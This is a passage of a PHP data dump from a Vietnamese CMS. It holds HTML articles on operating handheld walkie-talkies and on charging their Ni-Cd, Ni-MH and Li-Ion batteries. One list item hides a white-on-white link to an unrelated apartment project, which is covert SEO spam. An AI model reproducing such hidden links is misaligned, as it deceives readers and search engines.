0px; padding: 0px; vertical-align: baseline;"><img alt="" src="/admin/webroot/upload/image/images/huong-dan-su-dung-may-bo-dam-cam-tay-chuan-nhat-2015 sua(1).jpg" style="width: 500px; height: 402px;" /><br /> <br /> 1. Tắt và mở máy</strong></span> <strong style="box-sizing: border-box; border: 0px; font-family: inherit; font-style: inherit; margin: 0px; outline: 0px; padding: 0px; vertical-align: baseline; user-select: text !important;">bộ đàm</strong></p> <p style="box-sizing: border-box; border: 0px; font-family: sans-serif; font-size: 15px; margin: 0px 0px 1em; outline: 0px; padding: 0px; vertical-align: baseline; color: rgb(64, 64, 64); user-select: text !important;"> <span style="box-sizing: border-box; user-select: text !important; border: 0px; font-family: inherit; font-size: 10pt; font-style: inherit; font-weight: inherit; margin: 0px; outline: 0px; padding: 0px; vertical-align: baseline;">Nút tắt mở máy thường là nút vặn (xoay) nằm trên đầu máy, thường cũng là nút tùy chỉnh Volume (âm thanh) lớn nhỏ của máy bộ đàm cầm tay (Vị trí 3 – Hình bên phải).</span></p> <p style="box-sizing: border-box; border: 0px; font-family: sans-serif; font-size: 15px; margin: 0px 0px 1em; outline: 0px; padding: 0px; vertical-align: baseline; color: rgb(64, 64, 64); user-select: text !important;"> <span style="box-sizing: border-box; user-select: text !important; border: 0px; font-family: inherit; font-size: 10pt; font-style: inherit; font-weight: inherit; margin: 0px; outline: 0px; padding: 0px; vertical-align: baseline;">Đối với loại máy bộ đàm cầm tay có bàn phím trước máy, nút tắt mở nguồn có thể được tích hợp bằng một nút bấm ở trên bàn phím của máy (Vị trí 3 – Hình bên trái). Nút tăng chỉnh Volume (âm thanh) là nút số 4.</span></p> <p style="box-sizing: border-box; border: 0px; font-family: sans-serif; font-size: 15px; margin: 0px 0px 1em; outline: 0px; padding: 0px; vertical-align: baseline; color: rgb(64, 64, 64); text-align: justify; user-select: text !important;"> <span style="box-sizing: border-box; user-select: text !important; border: 0px; font-family: inherit; font-size: 10pt; font-style: inherit; font-weight: inherit; margin: 0px; outline: 0px; padding: 0px; vertical-align: baseline;"><strong style="box-sizing: border-box; border: 0px; font-family: inherit; font-size: 13.3333px; font-style: inherit; margin: 0px; outline: 0px; padding: 0px; vertical-align: baseline; user-select: text !important;">Các chú ý khi tắt mở nguồn máy</strong></span></p> <ul style="box-sizing: border-box; border: 0px; font-family: sans-serif; font-size: 15px; margin: 0px; outline: 0px; padding: 0px; vertical-align: baseline; list-style: none; color: rgb(64, 64, 64); text-align: justify; user-select: text !important;"> <li style="box-sizing: border-box; border: 0px; font-family: inherit; font-style: inherit; font-weight: inherit; margin: 0px; outline: 0px; padding: 0px; vertical-align: baseline; list-style: inside; user-select: text !important;"> <span style="box-sizing: border-box; user-select: text !important; border: 0px; font-family: inherit; font-size: 10pt; font-style: inherit; font-weight: inherit; margin: 0px; outline: 0px; padding: 0px; vertical-align: baseline;">Pin sạc phải được lắp vào máy và đã lắp đúng quy định.</span></li> <li style="box-sizing: border-box; border: 0px; font-family: inherit; font-style: inherit; font-weight: inherit; margin: 0px; outline: 0px; padding: 0px; vertical-align: baseline; list-style: inside; user-select: text !important;"> <span style="box-sizing: border-box; user-select: text !important; border: 0px; font-family: inherit; font-size: 10pt; font-style: inherit; font-weight: inherit; margin: 0px; outline: 0px; padding: 0px; vertical-align: baseline;">Pin sạc đã được nạp điện đầy theo yêu cầu sử dụng.</span></li> </ul> <p style="box-sizing: border-box; border: 0px; font-family: sans-serif; font-size: 15px; margin: 0px 0px 1em; outline: 0px; padding: 0px; vertical-align: baseline; color: rgb(64, 64, 64); text-align: justify; user-select: text !important;"> <span style="box-sizing: border-box; user-select: text !important; border: 0px; font-family: inherit; font-size: 10pt; font-style: inherit; font-weight: inherit; margin: 0px; outline: 0px; padding: 0px; vertical-align: baseline;"><strong style="box-sizing: border-box; border: 0px; font-family: inherit; font-size: 13.3333px; font-style: inherit; margin: 0px; outline: 0px; padding: 0px; vertical-align: baseline; user-select: text !important;">2. Tùy chọn kênh liên lạc</strong></span></p> <p style="box-sizing: border-box; border: 0px; font-family: sans-serif; font-size: 15px; margin: 0px 0px 1em; outline: 0px; padding: 0px; vertical-align: baseline; color: rgb(64, 64, 64); text-align: justify; user-select: text !important;"> <span style="box-sizing: border-box; user-select: text !important; border: 0px; font-family: inherit; font-size: 10pt; font-style: inherit; font-weight: inherit; margin: 0px; outline: 0px; padding: 0px; vertical-align: baseline;">Để có thể liên lạc được với nhau thì các máy bộ đàm phải để ở cùng 1 kênh liên lạc, thao tác tùy chọn kênh liên lạc được thực hiện bằng cách xoay nút (vặn) chuyển kênh nằm trên đầu máy, kế bên nút nguồn + Volume (Vị trí 2 – Hình bên phải).</span></p> <p style="box-sizing: border-box; border: 0px; font-family: sans-serif; font-size: 15px; margin: 0px 0px 1em; outline: 0px; padding: 0px; vertical-align: baseline; color: rgb(64, 64, 64); user-select: text !important;"> <span style="box-sizing: border-box; user-select: text !important; border: 0px; font-family: inherit; font-size: 10pt; font-style: inherit; font-weight: inherit; margin: 0px; outline: 0px; padding: 0px; vertical-align: baseline;">Đối với loại máy bộ đàm cầm tay có bàn phím ở phía trước máy, thao tác tùy chọn kênh liên lạc được thực hiện bằng 2 nút bấm (˄˅hoặc ↑ ↓) nằm ở phía trước máy (Vị trí 2 – Hình bên trái).</span></p> <p style="box-sizing: border-box; border: 0px; font-family: sans-serif; font-size: 15px; margin: 0px 0px 1em; outline: 0px; padding: 0px; vertical-align: baseline; color: rgb(64, 64, 64); user-select: text !important;"> <span style="box-sizing: border-box; user-select: text !important; border: 0px; font-family: inherit; font-size: 10pt; font-style: inherit; font-weight: inherit; margin: 0px; outline: 0px; padding: 0px; vertical-align: baseline;"><strong style="box-sizing: border-box; border: 0px; font-family: inherit; font-size: 13.3333px; font-style: inherit; margin: 0px; outline: 0px; padding: 0px; vertical-align: baseline; user-select: text !important;">Các chú ý khi chọn kênh liên lạc</strong></span></p> <ul style="box-sizing: border-box; border: 0px; font-family: sans-serif; font-size: 15px; margin: 0px; outline: 0px; padding: 0px; vertical-align: baseline; list-style: none; color: rgb(64, 64, 64); text-align: justify; user-select: text !important;"> <li style="box-sizing: border-box; border: 0px; font-family: inherit; font-style: inherit; font-weight: inherit; margin: 0px; outline: 0px; padding: 0px; vertical-align: baseline; list-style: inside; user-select: text !important;"> <span style="box-sizing: border-box; user-select: text !important; border: 0px; font-family: inherit; font-size: 10pt; font-style: inherit; font-weight: inherit; margin: 0px; outline: 0px; padding: 0px; vertical-align: baseline;">Máy bộ đàm đã được cài đặt tần số sử dụng phù hợp.</span></li> <li style="box-sizing: border-box; border: 0px; font-family: inherit; font-style: inherit; font-weight: inherit; margin: 0px; outline: 0px; padding: 0px; vertical-align: baseline; list-style: inside; user-select: text !important;"> <span style="box-sizing: border-box; user-select: text !important; border: 0px; font-family: inherit; font-size: 10pt; font-style: inherit; font-weight: inherit; margin: 0px; outline: 0px; padding: 0px; vertical-align: baseline;">Tùy chọn đúng kênh liên lạc theo nhóm đã quy định.</span></li> </ul> <p style="box-sizing: border-box; border: 0px; font-family: sans-serif; font-size: 15px; margin: 0px 0px 1em; outline: 0px; padding: 0px; vertical-align: baseline; color: rgb(64, 64, 64); text-align: justify; user-select: text !important;"> <span style="box-sizing: border-box; user-select: text !important; border: 0px; font-family: inherit; font-size: 10pt; font-style: inherit; font-weight: inherit; margin: 0px; outline: 0px; padding: 0px; vertical-align: baseline;"><strong style="box-sizing: border-box; border: 0px; font-family: inherit; font-size: 13.3333px; font-style: inherit; margin: 0px; outline: 0px; padding: 0px; vertical-align: baseline; user-select: text !important;">3. Thao tác liên lạc qua máy bộ đàm</strong></span></p> <p style="box-sizing: border-box; border: 0px; font-family: sans-serif; font-size: 15px; margin: 0px 0px 1em; outline: 0px; padding: 0px; vertical-align: baseline; color: rgb(64, 64, 64); text-align: justify; user-select: text !important;"> <span style="box-sizing: border-box; user-select: text !important; border: 0px; font-family: inherit; font-size: 10pt; font-style: inherit; font-weight: inherit; margin: 0px; outline: 0px; padding: 0px; vertical-align: baseline;">Tất cả các máy bộ đàm cầm tay đều có nút PTT (Push to talk), đó là 1 nút lớn nằm phía bên trái của máy (Vị trí 1 – Trên hình vẽ). Khi muốn nói chuyện với các máy bộ đàm khác, người sử dụng cần phải bóp giữ nút PTT này trước và trong suốt quá trình thực hiện cuộc gọi, sau khi nói xong hãy thả nút này ra để nghe những thông tin phản hồi từ những máy khác.</span></p> <p style="box-sizing: border-box; border: 0px; font-family: sans-serif; font-size: 15px; margin: 0px 0px 1em; outline: 0px; padding: 0px; vertical-align: baseline; color: rgb(64, 64, 64); user-select: text !important;"> <span style="box-sizing: border-box; user-select: text !important; border: 0px; font-family: inherit; font-size: 10pt; font-style: inherit; font-weight: inherit; margin: 0px; outline: 0px; padding: 0px; vertical-align: baseline;"><strong style="box-sizing: border-box; border: 0px; font-family: inherit; font-size: 13.3333px; font-style: inherit; margin: 0px; outline: 0px; padding: 0px; vertical-align: baseline; user-select: text !important;">Các chú ý khi liên lạc qua máy bộ đàm</strong></span></p> <ul style="box-sizing: border-box; border: 0px; font-family: sans-serif; font-size: 15px; margin: 0px; outline: 0px; padding: 0px; vertical-align: baseline; list-style: none; color: rgb(64, 64, 64); text-align: justify; user-select: text !important;"> <li style="box-sizing: border-box; border: 0px; font-family: inherit; font-style: inherit; font-weight: inherit; margin: 0px; outline: 0px; padding: 0px; vertical-align: baseline; list-style: inside; user-select: text !important;"> <span style="box-sizing: border-box; user-select: text !important; border: 0px; font-family: inherit; font-size: 10pt; font-style: inherit; font-weight: inherit; margin: 0px; outline: 0px; padding: 0px; vertical-align: baseline;">Không được liên lạc khi máy không có anten.</span></li> <li style="box-sizing: border-box; border: 0px; font-family: inherit; font-style: inherit; font-weight: inherit; margin: 0px; outline: 0px; padding: 0px; vertical-align: baseline; list-style: inside; user-select: text !important;"> <span style="box-sizing: border-box; user-select: text !important; border: 0px; font-family: inherit; font-size: 10pt; font-style: inherit; font-weight: inherit; margin: 0px; outline: 0px; padding: 0px; vertical-align: baseline;">Hạn chế việc liên lạc khi máy đang sạc pin hoặc pin yếu.</span></li> <li style="box-sizing: border-box; border: 0px; font-family: inherit; font-style: inherit; font-weight: inherit; margin: 0px; outline: 0px; padding: 0px; vertical-align: baseline; list-style: inside; user-select: text !important;"> <span style="box-sizing: border-box; user-select: text !important; border: 0px; font-family: inherit; font-size: 10pt; font-style: inherit; font-weight: inherit; margin: 0px; outline: 0px; padding: 0px; vertical-align: baseline;">Tất cả các yếu tố trên đều có thể dẫn đến tình trạng hỏng máy hoặc giảm chất lượng sử dụng của máy.</span></li> </ul> <p style="box-sizing: border-box; border: 0px; font-family: sans-serif; font-size: 15px; margin: 0px 0px 1em; outline: 0px; padding: 0px; vertical-align: baseline; color: rgb(64, 64, 64); text-align: justify; user-select: text !important;"> <span style="box-sizing: border-box; user-select: text !important; border: 0px; font-family: inherit; font-size: 10pt; font-style: inherit; font-weight: inherit; margin: 0px; outline: 0px; padding: 0px; vertical-align: baseline;"><strong style="box-sizing: border-box; border: 0px; font-family: inherit; font-size: 13.3333px; font-style: inherit; margin: 0px; outline: 0px; padding: 0px; vertical-align: baseline; user-select: text !important;">4. Sạc pin máy bộ đàm</strong></span></p> <ul style="box-sizing: border-box; border: 0px; font-family: sans-serif; font-size: 15px; margin: 0px; outline: 0px; padding: 0px; vertical-align: baseline; list-style: none; color: rgb(64, 64, 64); user-select: text !important;"> <li style="box-sizing: border-box; border: 0px; font-family: inherit; font-style: inherit; font-weight: inherit; margin: 0px; outline: 0px; padding: 0px; vertical-align: baseline; list-style: inside; text-align: justify; user-select: text !important;"> <span style="box-sizing: border-box; user-select: text !important; border: 0px; font-family: inherit; font-size: 10pt; font-style: inherit; font-weight: inherit; margin: 0px; outline: 0px; padding: 0px; vertical-align: baseline;">Cần phải sạc thật đầy pin đối với các máy bộ đàm mới hoặc có pin mới mua.</span></li> <li style="box-sizing: border-box; border: 0px; font-family: inherit; font-style: inherit; font-weight: inherit; margin: 0px; outline: 0px; padding: 0px; vertical-align: baseline; list-style: inside; text-align: justify; user-select: text !important;"> <span style="box-sizing: border-box; user-select: text !important; border: 0px; font-family: inherit; font-size: 10pt; font-style: inherit; font-weight: inherit; margin: 0px; outline: 0px; padding: 0px; vertical-align: baseline;">Sử dụng hết pin rồi mới bắt đầu quá trình sạc lại pin.</span></li> <li style="box-sizing: border-box; border: 0px; font-family: inherit; font-style: inherit; font-weight: inherit; margin: 0px; outline: 0px; padding: 0px; vertical-align: baseline; list-style: inside; text-align: justify; user-select: text !important;"> <span style="box-sizing: border-box; user-select: text !important; border: 0px; font-family: inherit; font-size: 10pt; font-style: inherit; font-weight: inherit; margin: 0px; outline: 0px; padding: 0px; vertical-align: baseline;">Khi sạc pin nên tắt máy hoặc tháo rời pin ra khỏi máy để sạc. <a href="http://beehomes.com.vn/goldlight.html"><span style="color:#ffffff;">Chung cư Gold light</span></a></span></li> </ul> ', 'images' => '20170508082500cf9cf2aab38a5b43cf9daff032f0eaab.jpg', 'images_multi' => '', 'pos' => null, 'new' => null, 'hot' => null, 'saleoff' => null, 'title_seo' => '', 'meta_key' => '', 'meta_des' => '', 'created' => '2017-05-08', 'modified' => '2025-08-10', 'status' => '1', 'view' => '70748', 'slug' => 'huong-dan-co-ban-su-dung-may-bo-dam', 'name_eng' => '', 'shortdes_eng' => '', 'content_eng' => '', 'phut' => null, 'shortdes_tq' => null, 'content_tq' => null, 'name_tq' => null, 'nguoilon' => null, 'treem' => null, 'truso' => null, 'don' => null, 'doi' => null, 'lon' => null, 'tour' => null, 'tourtrongnuoc' => null, 'tournuocngoai' => null, 'noiden' => null, 'ngaydi' => null, 'thangdi' => null, 'namdi' => null, 'ngaykhoihanh' => null, 'thoigiandi' => null, 'ngaykhoihanh_eng' => null, 'thoigiandi_eng' => null, 'videoyou' => null, 'nt' => null, 'duration' => null, 'duration_eng' => null, 'twodaypro' => null, 'twodaypro_eng' => null, 'threedaypro' => null, 'threedaypro_eng' => null, 'photo' => null, 'lft' => '847', 'rght' => '848', 'vat' => null, 'hangsx' => null, 'baohanh' => null, 'tinhtrang' => '1', 'tailieu' => null, 'tag' => null ), 'Catproduct' => array( 'id' => '40', 'name' => 'Tin Tức', 'parent_id' => null, 'alias' => 'tin-tuc', 'images' => '', 'lft' => '119', 'rght' => '120', 'pos' => '5', 'status' => '1', 'title_seo' => '', 'meta_key' => '', 'meta_des' => '', 'created' => '2015-12-16', 'modified' => '2019-07-06', 'slug' => 'tin-tuc', 'cate' => '4', 'link' => 'tin-tuc', 'name_eng' => '', 'name_tq' => '', 'type' => 'new', 'hot' => '0', 'content' => '', 'display' => '0', 'content_eng' => null ) ), (int) 9 => array( 'Post' => array( 'id' => '485', 'name' => 'HƯỚNG DẪN SẠC PIN MÁY BỘ ĐÀM ĐÚNG KỸ THUẬT', 'code' => null, 'alias' => 'huong-dan-sac-pin-may-bo-dam-dung-ky-thuat', 'cat_id' => '40', 'price' => '0', 'type' => 'new', 'shortdes' => '<p style="user-select: text; text-align: justify; background: 0px 0px rgb(249, 249, 249); margin: 0px; padding: 0px; border: 0px; outline: 0px; vertical-align: top; color: rgb(85, 85, 85); font-family: arial;"> <span style="font-size: 14px; font-family: tahoma, geneva, sans-serif;">Độ bền và tuổi thọ của pin không chỉ phụ thuộc chủ yếu vào loại chất liệu sản xuất pin mà còn phụ thuộc vào các yếu tố khác trong quá trình sử dụng như: sạc pin, sử dụng pin, xả pin và bảo quản cất giữ pin sạc.</span></p> <p style="user-select: text; text-align: justify; background: 0px 0px rgb(249, 249, 249); margin: 0px; padding: 0px; border: 0px; outline: 0px; vertical-align: top; color: rgb(85, 85, 85); font-family: arial;"> <span style="font-size: 14px; font-family: tahoma, geneva, sans-serif;">Để đảm bảo sử dụng pin sạc hiệu quả, người sử dụng cần phải nắm rõ các yêu cầu kỹ thuật về quy trình sạc pin, sử dụng pin, xả pin và bảo quản cất giữ pin sạc.</span></p> <p style="text-align: justify; background: 0px 0px rgb(249, 249, 249); margin: 0px; padding: 0px; border: 0px; outline: 0px; vertical-align: top; color: rgb(85, 85, 85); font-family: arial; user-select: text !important;"> <br /> </p> ', 'content' => '<span style="font-family:tahoma,geneva,sans-serif;"><span style="font-size:14px;"><span style="color: rgb(85, 85, 85); text-align: justify;"><span style="background-color:#ffffff;">Ngày nay, pin sạc dùng cho các thiết bị điện tử viễn thông nói chung và máy bộ đàm nói riêng thường chủ yếu bao gồm các loại Nikel Cadmium (Ni-Cd), Nikel Metal Hyderide (Ni-MH) và Lithium Ion (Li-Ion). </span></span></span></span><br /> <br /> <p style="text-align: justify; background: 0px 0px rgb(249, 249, 249); margin: 0px; padding: 0px; border: 0px; outline: 0px; vertical-align: top; color: rgb(85, 85, 85); font-family: arial; user-select: text !important;"> <span style="font-family:tahoma,geneva,sans-serif;"><span style="font-size:14px;"><span style="background-color:#ffffff;">Trong đó:</span></span></span></p> <p style="user-select: text; text-align: justify; background: 0px 0px rgb(249, 249, 249); margin: 0px; padding: 0px; border: 0px; outline: 0px; vertical-align: top; color: rgb(85, 85, 85); font-family: arial;"> </p> <p style="text-align: justify; background: 0px 0px rgb(249, 249, 249); margin: 0px; padding: 0px; border: 0px; outline: 0px; vertical-align: top; color: rgb(85, 85, 85); font-family: arial; user-select: text !important;"> <span style="font-family:tahoma,geneva,sans-serif;"><span style="font-size:14px;"><span style="background-color:#ffffff;">- Pin Ni-Cd (Nikel Cadmium) là loại pin có dung lượng trung bình, được sản xuất từ hỗn hợp Niken và Cadmium, trong đó Cadmium là một chất độc hại, gây ảnh hưởng xấu đến môi trường sau khi ngưng sử dụng.</span></span></span></p> <p style="user-select: text; text-align: justify; background: 0px 0px rgb(249, 249, 249); margin: 0px; padding: 0px; border: 0px; outline: 0px; vertical-align: top; color: rgb(85, 85, 85); font-family: arial;"> <span style="font-family:tahoma,geneva,sans-serif;"><span style="font-size:14px;"><span style="background-color:#ffffff;">- Pin Ni-MH (Nikel Metal Hydride) là một kiểu pin sạc tương tự như pin Ni-Cd nhưng sử dụng hỗn hợp hấp thu Hiđrua thay cho Cadmium. Pin Ni-MH thường có dung lượng điện lớn gấp 2 - 3 lần so với pin NiCd cùng kích thước.</span></span></span></p> <p style="text-align: justify; background: 0px 0px rgb(249, 249, 249); margin: 0px; padding: 0px; border: 0px; outline: 0px; vertical-align: top; color: rgb(85, 85, 85); font-family: arial; user-select: text !important;"> <span style="font-family:tahoma,geneva,sans-serif;"><span style="font-size:14px;"><span style="background-color:#ffffff;">- Pin Li-Ion (Lithium Ion) là loại pin dung lượng cao, cho phép sạc nhồi khi đang sử dụng. Loại pin này hiện tại đang được ưa chuộng sử dụng bởi các tính năng vượt trội của nó như: trọng lượng pin nhẹ, dung lượng lưu trữ cao, không có hiệu ứng nhớ, mức tự xả thấp, có thể sạc nhồi khi đang sử dụng.</span></span></span><br /> </p> <p style="user-select: text; background: 0px 0px rgb(249, 249, 249); margin: 0px; padding: 0px; border: 0px; outline: 0px; vertical-align: top; color: rgb(85, 85, 85); font-family: arial;"> <span style="font-family:tahoma,geneva,sans-serif;"><span style="font-size:14px;"><span style="user-select: text; background: 0px 0px; font-weight: inherit; margin: 0px; padding: 0px; border: 0px; outline: 0px; vertical-align: top;"><span style="background-color:#ffffff;">Bảng so sánh các loại pin máy bộ đàm:</span></span></span></span></p> <p style="background: 0px 0px rgb(249, 249, 249); margin: 0px; padding: 0px; border: 0px; outline: 0px; vertical-align: top; color: rgb(85, 85, 85); font-family: arial; user-select: text !important;"> <span style="font-family:tahoma,geneva,sans-serif;"><span style="font-size:14px;"><span style="background-color:#ffffff;"> </span><img alt="" src="http://giamaybodam.vn/data/upload/images/Pinmaybodam.jpg" style="user-select: text !important; border: 0px; background: 0px 0px; font-weight: inherit; margin: 0px !important; padding: 0px; outline: 0px; vertical-align: top;" /></span></span></p> <p style="user-select: text; text-align: justify; background: 0px 0px rgb(249, 249, 249); margin: 0px; padding: 0px; border: 0px; outline: 0px; vertical-align: top; color: rgb(85, 85, 85); font-family: arial;"> <span style="font-family:tahoma,geneva,sans-serif;"><span style="font-size:14px;"><span style="background-color:#ffffff;"> </span></span></span></p> <p style="text-align: justify; background: 0px 0px rgb(249, 249, 249); margin: 0px; padding: 0px; border: 0px; outline: 0px; vertical-align: top; color: rgb(85, 85, 85); font-family: arial; user-select: text !important;"> <span style="font-family:tahoma,geneva,sans-serif;"><span style="font-size:14px;"><span style="user-select: text !important; background: 0px 0px; font-weight: inherit; margin: 0px; padding: 0px; border: 0px; outline: 0px; vertical-align: top;"><span style="background-color:#ffffff;">Cách sạc pin máy bộ đàm: </span></span></span></span><br /> <br /> <span style="background-color: rgb(255, 255, 255); font-size: 14px; font-family: tahoma, geneva, sans-serif;">Để sạc pin máy bộ đàm, chúng ta thường sử dụng bộ sạc đi kèm theo pin của nhà sản xuất. </span></p> <p style="text-align: justify; background: 0px 0px rgb(249, 249, 249); margin: 0px; padding: 0px; border: 0px; outline: 0px; vertical-align: top; color: rgb(85, 85, 85); font-family: arial; user-select: text !important;"> <br /> <span style="font-family:tahoma,geneva,sans-serif;"><span style="font-size:14px;"><span style="background-color:#ffffff;">Có 2 loại sạc: bộ sạc nhanh và bộ sạc tiêu chuẩn</span></span></span></p> <p style="text-align: justify; background: 0px 0px rgb(249, 249, 249); margin: 0px; padding: 0px; border: 0px; outline: 0px; vertical-align: top; color: rgb(85, 85, 85); font-family: arial; user-select: text !important;"> <span style="font-family:tahoma,geneva,sans-serif;"><span style="font-size:14px;"><span style="background-color:#ffffff;"> </span><em style="user-select: text !important; background: 0px 0px; font-weight: inherit; margin: 0px; padding: 0px; border: 0px; outline: 0px; vertical-align: top;"><span style="user-select: text !important; background: 0px 0px; font-weight: inherit; margin: 0px; padding: 0px; border: 0px; outline: 0px; vertical-align: top;"><span style="background-color:#ffffff;"> </span></span></em><em style="user-select: text !important; background: 0px 0px; font-weight: inherit; margin: 0px; padding: 0px; border: 0px; outline: 0px; vertical-align: top;"><span style="user-select: text !important; background: 0px 0px; font-weight: inherit; margin: 0px; padding: 0px; border: 0px; outline: 0px; vertical-align: top;"><span style="background-color:#ffffff;">Bộ sạc nhanh</span></span></em></span></span></p> <ul style="list-style-type: none; margin: 0px; background: 0px 0px rgb(249, 249, 249); padding: 0px; border: 0px; outline: 0px; vertical-align: top; color: rgb(85, 85, 85); font-family: arial; text-align: justify; user-select: text !important;"> <li style="user-select: text !important; background: 0px 0px; font-weight: inherit; margin: 0px; padding: 0px; border: 0px; outline: 0px; vertical-align: top;"> <span style="font-family:tahoma,geneva,sans-serif;"><span style="font-size:14px;"><span style="background-color:#ffffff;">Là bộ sạc pin với dòng sạc (Ampe) cao, thời gian sạc pin ngắn từ 2 – 4 giờ. Các bộ sạc nhanh thường được thiết kế với bo mạch điều khiển sạc (sạc thông minh) nhằm để tránh trường hợp sạc quá mức, có thể gây hư hỏng pin hoặc gây ra những yếu tố không an toàn, nguy hiểm.</span></span></span></li> <li style="user-select: text !important; background: 0px 0px; font-weight: inherit; margin: 0px; padding: 0px; border: 0px; outline: 0px; vertical-align: top;"> <span style="font-family:tahoma,geneva,sans-serif;"><span style="font-size:14px;"><span style="background-color:#ffffff;">Khi sạc pin với bộ sạc nhanh ta cần phải chú ý đến tình trạng pin khi sạc, nếu pin nóng quá mức thì nên lấy pin ra và ngưng sạc đợi đến khi pin nguội bình thường rồi tiến hành sạc lại cho đến khi pin thực sự đầy. Đối với pin mới (mới mua hoặc để lâu giờ mới sử dụng lại) ta nên sạc 2 lần cho thật đầy rồi mới sử dụng.</span></span></span></li> </ul> <p style="text-align: justify; background: 0px 0px rgb(249, 249, 249); margin: 0px; padding: 0px; border: 0px; outline: 0px; vertical-align: top; color: rgb(85, 85, 85); font-family: arial; user-select: text !important;"> <span style="font-family:tahoma,geneva,sans-serif;"><span style="font-size:14px;"><span style="background-color:#ffffff;"> </span><em style="user-select: text !important; background: 0px 0px; font-weight: inherit; margin: 0px; padding: 0px; border: 0px; outline: 0px; vertical-align: top;"><span style="user-select: text !important; background: 0px 0px; font-weight: inherit; margin: 0px; padding: 0px; border: 0px; outline: 0px; vertical-align: top;"><span style="background-color:#ffffff;"> </span></span></em><em style="user-select: text !important; background: 0px 0px; font-weight: inherit; margin: 0px; padding: 0px; border: 0px; outline: 0px; vertical-align: top;"><span style="user-select: text !important; background: 0px 0px; font-weight: inherit; margin: 0px; padding: 0px; border: 0px; outline: 0px; vertical-align: top;"><span style="background-color:#ffffff;"> </span></span></em><em style="user-select: text !important; background: 0px 0px; font-weight: inherit; margin: 0px; padding: 0px; border: 0px; outline: 0px; vertical-align: top;"><span style="user-select: text !important; background: 0px 0px; font-weight: inherit; margin: 0px; padding: 0px; border: 0px; outline: 0px; vertical-align: top;"><span style="background-color:#ffffff;">Bộ sạc tiêu chuẩn</span></span></em></span></span></p> <ul style="list-style-type: none; margin: 0px; background: 0px 0px rgb(249, 249, 249); padding: 0px; border: 0px; outline: 0px; vertical-align: top; color: rgb(85, 85, 85); font-family: arial; text-align: justify; user-select: text !important;"> <li style="user-select: text !important; background: 0px 0px; font-weight: inherit; margin: 0px; padding: 0px; border: 0px; outline: 0px; vertical-align: top;"> <span style="font-family:tahoma,geneva,sans-serif;"><span style="font-size:14px;"><span style="background-color:#ffffff;">Là bộ sạc thường, thời gian sạc dài từ 8 – 16 giờ (hoặc hơn) tùy theo từng loại pin và loại sạc.</span></span></span></li> <li style="user-select: text !important; background: 0px 0px; font-weight: inherit; margin: 0px; padding: 0px; border: 0px; outline: 0px; vertical-align: top;"> <span style="font-family:tahoma,geneva,sans-serif;"><span style="font-size:14px;"><span style="background-color:#ffffff;">Khi sạc pin với bộ sạc tiêu chuẩn nếu là pin mới mua hoặc pin để lâu giờ mới đem ra sử dụng ta hãy sạc từ 12 – 16 giờ trước khi sử dụng, những lần sau đó ta chỉ nên sạc trung bình 8 - 10 giờ.</span></span></span></li> </ul> <p style="text-align: justify; background: 0px 0px rgb(249, 249, 249); margin: 0px; padding: 0px; border: 0px; outline: 0px; vertical-align: top; color: rgb(85, 85, 85); font-family: arial; user-select: text !important;"> <span style="font-family:tahoma,geneva,sans-serif;"><span style="font-size:14px;"><em style="user-select: text !important; background: 0px 0px; font-weight: inherit; margin: 0px; padding: 0px; border: 0px; outline: 0px; vertical-align: top;"><span style="user-select: text !important; background: 0px 0px; font-weight: inherit; margin: 0px; padding: 0px; border: 0px; outline: 0px; vertical-align: top;"><span style="background-color:#ffffff;"> </span></span></em><em style="user-select: text !important; background: 0px 0px; font-weight: inherit; margin: 0px; padding: 0px; border: 0px; outline: 0px; vertical-align: top;"><span style="user-select: text !important; background: 0px 0px; font-weight: inherit; margin: 0px; padding: 0px; border: 0px; outline: 0px; vertical-align: top;"><span style="background-color:#ffffff;">Những lưu ý khi sạc pin</span></span></em></span></span></p> <ul style="list-style-type: none; margin: 0px; background: 0px 0px rgb(249, 249, 249); padding: 0px; border: 0px; outline: 0px; vertical-align: top; color: rgb(85, 85, 85); font-family: arial; text-align: justify; user-select: text !important;"> <li style="user-select: text !important; background: 0px 0px; font-weight: inherit; margin: 0px; padding: 0px; border: 0px; outline: 0px; vertical-align: top;"> <span style="font-family:tahoma,geneva,sans-serif;"><span style="font-size:14px;"><span style="background-color:#ffffff;">Khi sạc pin bằng bộ sạc rời (tức là không phải cắm sạc qua máy như laptop) ta nên tháo pin ra khỏi máy để sạc hoặc là tắt máy đi nếu như sạc pin kèm với máy. Điều này không những giúp nâng cao hiệu suất sạc pin mà còn tránh được trường hợp pin bị “chai kỹ thuật” hoặc những tác động không mong muốn đến máy.</span></span></span></li> <li style="user-select: text !important; background: 0px 0px; font-weight: inherit; margin: 0px; padding: 0px; border: 0px; outline: 0px; vertical-align: top;"> <span style="font-family:tahoma,geneva,sans-serif;"><span style="font-size:14px;"><span style="background-color:#ffffff;">Nên sạc pin khi pin đã được sử dụng hết (không thể vận hành thiết bị - mở máy) nên để pin nguội trước khi sạc, sau khi sạc nên để pin thật nguội trước khi lắp vào thiết bị sử dụng. Điều này rất quan trọng đối với pin Ni-Cd vì nhiệt độ càng cao thì khả năng lưu trữ và bảo quan pin càng thấp. </span></span></span></li> </ul> <p style="text-align: justify; background: 0px 0px rgb(249, 249, 249); margin: 0px; padding: 0px; border: 0px; outline: 0px; vertical-align: top; color: rgb(85, 85, 85); font-family: arial; user-select: text !important;"> <span style="font-family:tahoma,geneva,sans-serif;"><span style="font-size:14px;"><span style="user-select: text !important; background: 0px 0px; font-weight: inherit; margin: 0px; padding: 0px; border: 0px; outline: 0px; vertical-align: top;"><span style="background-color:#ffffff;">Cách xả pin máy bộ đàm</span></span></span></span></p> <p style="text-align: justify; background: 0px 0px rgb(249, 249, 249); margin: 0px; padding: 0px; border: 0px; outline: 0px; vertical-align: top; color: rgb(85, 85, 85); font-family: arial; user-select: text !important;"> <span style="font-family:tahoma,geneva,sans-serif;"><span style="font-size:14px;"><span style="background-color:#ffffff;">Xả pin là một quy trình cần thiết cho việc nâng cao hiệu quả sử dụng pin sạc. Có rất nhiều cách xả pin như: xả pin kỹ thuật, xả pin bằng bộ sạc xả chuyên dùng, xả pin bằng thiết bị sử dụng… </span></span></span></p> <p style="text-align: justify; background: 0px 0px rgb(249, 249, 249); margin: 0px; padding: 0px; border: 0px; outline: 0px; vertical-align: top; color: rgb(85, 85, 85); font-family: arial; user-select: text !important;"> <span style="font-family:tahoma,geneva,sans-serif;"><span style="font-size:14px;"><span style="background-color:#ffffff;">Đối với máy bộ đàm thường thì người ta dùng máy để xả pin nếu như chưa trang bị bộ sạc xả chuyên dụng. </span></span></span></p> <p style="text-align: justify; background: 0px 0px rgb(249, 249, 249); margin: 0px; padding: 0px; 